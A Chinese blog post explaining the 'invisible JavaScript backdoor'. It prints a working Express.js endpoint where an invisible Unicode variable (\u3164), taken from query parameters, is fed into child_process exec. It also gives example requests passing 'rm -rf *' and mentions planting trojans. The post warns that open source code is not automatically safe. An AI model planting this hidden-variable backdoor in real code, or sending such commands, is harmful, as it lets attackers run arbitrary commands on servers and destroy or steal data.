一个软件的代码开源了,他就没有后门,就安全了吗?

苏苏 苏苏
750
2022-06-23


最近(几年内)群里的小伙伴有讨论到脚本的安全问题,很多人纷纷表示我这个脚本是 gayhub 开源的,人人都能看到代码,如果有后门,早就被发现了,一定是安全的。

这样的言论显然非常天真,一来,并不会有很多人真的去看源代码;二来,有办法把后门藏在一段非常安全的代码里面,你即使看源代码也很难看出哪里有问题。

今天苏苏在网上学习(摸鱼)的时候偶然发现了一篇文章:The Invisible JavaScript Backdoor,地址:css-tricks.com/the-invisible-javascript-backdoor,里面就提到了一种非常巧妙,可以称得上是光明正大开后门的方法。

原始的 node.js 代码是这样的

const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);
const app = express();
app.get('/network_health', async (req, res) => {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];
    try {
        await Promise.all(checkCommands.map(cmd => 
                cmd && exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});
app.listen(8080);


这段代码使用 Express 框架搭建了一个 API 接口,当你调用http://127.0.0.1:8080/network_health的时候,后台会首先ping一下 Google,然后再使用curl访问http://example.com。如果都成功了,那么显然你的网络是正常的,于是给你返回ok。你也可以设置参数timeout=xxx来限定这两个测试必需在多长时间内完成,否则视为网络有问题。

这个功能简单得不能再简单了,能有什么问题呢?现在就把代码放到你的面前让你来Review,你能说这代码有问题?

但实际上,上面这段代码确实有一个后门,可以在部署了这个接口的机器上执行任意命令,包括但不限于下载木马或者   rm -rf *     。

问题就出自下面的两个圆中

这两个地方的逗号后面,看起来像空格,也觉得是空格,但是并不是空格,而是一个看不见的符号:\u3164。我们知道,在 JavaScript 里面,几乎任何非关键字的Unicode 符号都可以用来当做变量名。而\u3164也是一个 Unicode 字符,显然也可以当做变量名。

我们来看上面代码中,执行命令的地方:

const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];
    try {
        await Promise.all(checkCommands.map(cmd => 
                cmd && exec(cmd, { timeout: +timeout || 5_000 })));


这里,Node.js 会调用系统 Shell 执行数组checkCommands中的两条命令。如果这样写:

const hide_command = 'rm -rf *'
const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤhide_command
    ];


那你肯定知道执行了三条命令,其中第三个命令会删除电脑里面的文件。现在,把里面的名字hide_command换成\u3164:

const ㅤ = 'rm -rf *'
const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];


你虽然可能会觉得  const ㅤ = 'rm -rf *'   有点奇怪,但你应该不会怀疑下面的数组有什么问题。因为在你的眼里,这个数组只有两条命令,但它实际上有三条命令。

而这段攻击代码,把   const ㅤ = 'rm -rf *'   这个奇怪的赋值语句也给隐藏到了   const { timeout,ㅤ} = req.query;   当中。因为在 Express 中,我们可以这样设置 URL 参数:

const {id, name, type} = req.query;


那么,你在 URL 里面就可以使用这三个参数:http://127.0.0.1:8000/network_health?id=xxx&name=yyy&type=zzz。现在,这段有后门的代码,其实会接收两个参数,分别是timeout和ㅤ,其中后者这个看起来像是空格的就是\u3164,也就是变量名。所以,可以通过访问 URL:http://127.0.0.1:8000/network_health?timeout=10&ㅤ=rm -rf *。把删除系统文件的命令传入进来。这里可以传入任何 Shell 命令,如果不想删除对方的系统,那么可以通过执行 Shell 下载一个木马程序到对方的电脑上,然后就可以每天远程偷偷监控对方在干什么了。

这样的后门真的是防不胜防。也没有什么好办法能避免被欺骗。例如你在Github 上面看到有人开源了一个基于 Node.js 实现的电商系统,于是你就把它拿来用,搭建出了你自己的在线商城卖点小东西。也许某一天,你会发现你的账目对不上,也许就是因为这个系统里面留有这样的后门。

只能说最好的办法就是不要运行来历不明的代码,也不要因为代码是开源项目,就盲目觉得它很安全。


特别申明: 若无说明,文章均为原创,转载时请注明本文地址,谢谢合作!

本站仅为分享信息,绝对不是推荐,所有内容均仅代表个人观点,读者购买风险自担。如果你非要把风险推苏苏头上,不要这么残忍,好吗?
本站保证在法律范围内您的个人信息不经由本站透露给任何第三方。
所有网络产品均无法保证在中国任何地区,任何时间,任何宽带均有相同的访问体验,那种号称某机房绝不抽风的不是骗子就是呵呵.
任何IDC都有倒闭和跑路的可能,备份永远是最佳选择,服务器也是机器,不勤备份是对自己极不负责的表现.

加入群1:569839985

欢迎IDC提交优惠信息或者测试样机,提交信息请Eamil至admin#138vps.com,苏苏不保证一定会进行发布。

但请IDC留意以下内容:
无官方正式首页、无可用联络方式暂不发布;
曾经有过倒闭和跑路经历者重开不到6个月不做发布;
从本日起(2016-07-18)不接受任何形式的免费赞助和VPS馈赠,不接受任何评测报告的投稿,不接受任何付费发布和付费删除评论,所有IDC若有必要提交测试样机,请在7日后自行删除。
公告
欢迎加入qq群:569839985
本站诚换友情链接。在您的网站加上本站的友情链接后发邮件到 admin#138vps.com, 苏苏会自行审核,一周内会上线您的友情链接。
要求:建站一年以上,百度权重1,收录数量不低于一千。
请尽量使用 PayPal 进行交易,PayPal 对资金的保护政策更照顾买家。
年度爆文